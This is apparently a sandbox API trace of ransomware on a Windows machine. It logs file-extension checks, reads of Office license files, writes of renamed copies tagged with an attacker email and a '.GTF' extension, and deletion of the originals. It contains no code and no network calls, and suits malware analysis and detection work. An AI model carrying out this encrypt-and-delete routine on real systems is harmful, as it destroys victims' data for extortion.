	[0175.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.420] lstrlenW (lpString=".zip") returned 4
	[0175.420] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.420] lstrlenW (lpString=".rar") returned 4
	[0175.420] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.420] lstrlenW (lpString=".bz2") returned 4
	[0175.420] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.420] lstrlenW (lpString=".7z") returned 3
	[0175.420] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.420] lstrlenW (lpString=".dbf") returned 4
	[0175.420] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.420] lstrlenW (lpString=".1cd") returned 4
	[0175.420] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0175.420] lstrlenW (lpString=".jpg") returned 4
	[0175.420] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.420] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.420] lstrlenW (lpString="MondoR_Subscription2-pl.xrm-ms") returned 30
	[0175.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0175.421] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11171) returned 1
	[0175.421] CloseHandle (hObject=0x57c) returned 1
	[0175.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 0x220
	[0175.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0175.422] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.422] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0175.423] GetLastError () returned 0x0
	[0175.423] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2ba3, lpOverlapped=0x0) returned 1
	[0175.474] WriteFile (in: hFile=0x45c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0175.476] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.476] WriteFile (in: hFile=0x45c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x110, lpOverlapped=0x0) returned 1
	[0175.476] SetEndOfFile (hFile=0x45c) returned 1
	[0175.476] CloseHandle (hObject=0x45c) returned 1
	[0175.476] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.476] SetEndOfFile (hFile=0x57c) returned 1
	[0175.479] CloseHandle (hObject=0x57c) returned 1
	[0175.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 1
	[0175.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.480] lstrlenW (lpString=".doc") returned 4
	[0175.480] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.480] lstrlenW (lpString=".docx") returned 5
	[0175.480] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.480] lstrlenW (lpString=".pdf") returned 4
	[0175.480] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.480] lstrlenW (lpString=".xls") returned 4
	[0175.480] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.481] lstrlenW (lpString=".xlsx") returned 5
	[0175.481] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.481] lstrlenW (lpString=".ppt") returned 4
	[0175.481] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.481] lstrlenW (lpString=".zip") returned 4
	[0175.481] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.481] lstrlenW (lpString=".rar") returned 4
	[0175.481] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.481] lstrlenW (lpString=".bz2") returned 4
	[0175.481] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.481] lstrlenW (lpString=".7z") returned 3
	[0175.481] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.481] lstrlenW (lpString=".dbf") returned 4
	[0175.481] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.481] lstrlenW (lpString=".1cd") returned 4
	[0175.481] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.481] lstrlenW (lpString=".jpg") returned 4
	[0175.481] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.481] lstrlenW (lpString=".doc") returned 4
	[0175.481] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.481] lstrlenW (lpString=".docx") returned 5
	[0175.481] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.481] lstrlenW (lpString=".pdf") returned 4
	[0175.481] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.481] lstrlenW (lpString=".xls") returned 4
	[0175.481] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.482] lstrlenW (lpString=".xlsx") returned 5
	[0175.482] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.482] lstrlenW (lpString=".ppt") returned 4
	[0175.482] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.482] lstrlenW (lpString=".zip") returned 4
	[0175.482] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.482] lstrlenW (lpString=".rar") returned 4
	[0175.482] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.482] lstrlenW (lpString=".bz2") returned 4
	[0175.482] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.482] lstrlenW (lpString=".7z") returned 3
	[0175.482] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.482] lstrlenW (lpString=".dbf") returned 4
	[0175.482] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.482] lstrlenW (lpString=".1cd") returned 4
	[0175.482] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80
	[0175.482] lstrlenW (lpString=".jpg") returned 4
	[0175.482] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.482] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.482] lstrlenW (lpString="MondoR_Subscription2-ul-oob.xrm-ms") returned 34
	[0175.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0175.483] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11616) returned 1
	[0175.483] CloseHandle (hObject=0x57c) returned 1
	[0175.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0175.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0175.484] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.484] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0175.485] GetLastError () returned 0x0
	[0175.485] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0175.604] WriteFile (in: hFile=0x45c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0175.605] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.605] WriteFile (in: hFile=0x45c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x118, lpOverlapped=0x0) returned 1
	[0175.605] SetEndOfFile (hFile=0x45c) returned 1
	[0175.605] CloseHandle (hObject=0x45c) returned 1
	[0175.605] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.605] SetEndOfFile (hFile=0x57c) returned 1
	[0175.608] CloseHandle (hObject=0x57c) returned 1
	[0175.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 1
	[0175.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.612] lstrlenW (lpString=".doc") returned 4
	[0175.612] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.612] lstrlenW (lpString=".docx") returned 5
	[0175.612] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.612] lstrlenW (lpString=".pdf") returned 4
	[0175.612] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.612] lstrlenW (lpString=".xls") returned 4
	[0175.612] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.612] lstrlenW (lpString=".xlsx") returned 5
	[0175.612] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.612] lstrlenW (lpString=".ppt") returned 4
	[0175.612] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.612] lstrlenW (lpString=".zip") returned 4
	[0175.612] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.612] lstrlenW (lpString=".rar") returned 4
	[0175.612] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.612] lstrlenW (lpString=".bz2") returned 4
	[0175.612] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.612] lstrlenW (lpString=".7z") returned 3
	[0175.612] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.612] lstrlenW (lpString=".dbf") returned 4
	[0175.612] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.612] lstrlenW (lpString=".1cd") returned 4
	[0175.612] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.612] lstrlenW (lpString=".jpg") returned 4
	[0175.612] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.613] lstrlenW (lpString=".doc") returned 4
	[0175.613] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.613] lstrlenW (lpString=".docx") returned 5
	[0175.613] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.613] lstrlenW (lpString=".pdf") returned 4
	[0175.613] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.613] lstrlenW (lpString=".xls") returned 4
	[0175.613] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.613] lstrlenW (lpString=".xlsx") returned 5
	[0175.613] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.613] lstrlenW (lpString=".ppt") returned 4
	[0175.613] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.613] lstrlenW (lpString=".zip") returned 4
	[0175.613] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.613] lstrlenW (lpString=".rar") returned 4
	[0175.613] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.613] lstrlenW (lpString=".bz2") returned 4
	[0175.613] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.613] lstrlenW (lpString=".7z") returned 3
	[0175.613] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.613] lstrlenW (lpString=".dbf") returned 4
	[0175.613] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.613] lstrlenW (lpString=".1cd") returned 4
	[0175.613] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0175.614] lstrlenW (lpString=".jpg") returned 4
	[0175.614] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.614] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.614] lstrlenW (lpString="MondoR_SubTest-pl.xrm-ms") returned 24
	[0175.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0175.614] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11147) returned 1
	[0175.614] CloseHandle (hObject=0x57c) returned 1
	[0175.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 0x220
	[0175.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0175.615] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.615] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0175.616] GetLastError () returned 0x0
	[0175.616] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2b8b, lpOverlapped=0x0) returned 1
	[0175.707] WriteFile (in: hFile=0x45c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0175.709] ReadFile (in: hFile=0x57c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.709] WriteFile (in: hFile=0x45c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x104, lpOverlapped=0x0) returned 1
	[0175.709] SetEndOfFile (hFile=0x45c) returned 1
	[0175.971] CloseHandle (hObject=0x45c) returned 1
	[0175.972] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.972] SetEndOfFile (hFile=0x57c) returned 1
	[0175.998] CloseHandle (hObject=0x57c) returned 1
	[0175.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 1
	[0175.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0175.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0175.999] lstrlenW (lpString=".doc") returned 4
	[0175.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.999] lstrlenW (lpString=".docx") returned 5
	[0175.999] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.999] lstrlenW (lpString=".pdf") returned 4
	[0175.999] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.999] lstrlenW (lpString=".xls") returned 4
	[0175.999] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.000] lstrlenW (lpString=".xlsx") returned 5
	[0176.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.000] lstrlenW (lpString=".ppt") returned 4
	[0176.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0176.000] lstrlenW (lpString=".zip") returned 4
	[0176.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.000] lstrlenW (lpString=".rar") returned 4
	[0176.000] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.000] lstrlenW (lpString=".bz2") returned 4
	[0176.000] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.000] lstrlenW (lpString=".7z") returned 3
	[0176.000] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0176.000] lstrlenW (lpString=".dbf") returned 4
	[0176.000] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0176.000] lstrlenW (lpString=".1cd") returned 4
	[0176.000] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
	[0176.000] lstrlenW (lpString=".jpg") returned 4
	[0176.000] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74
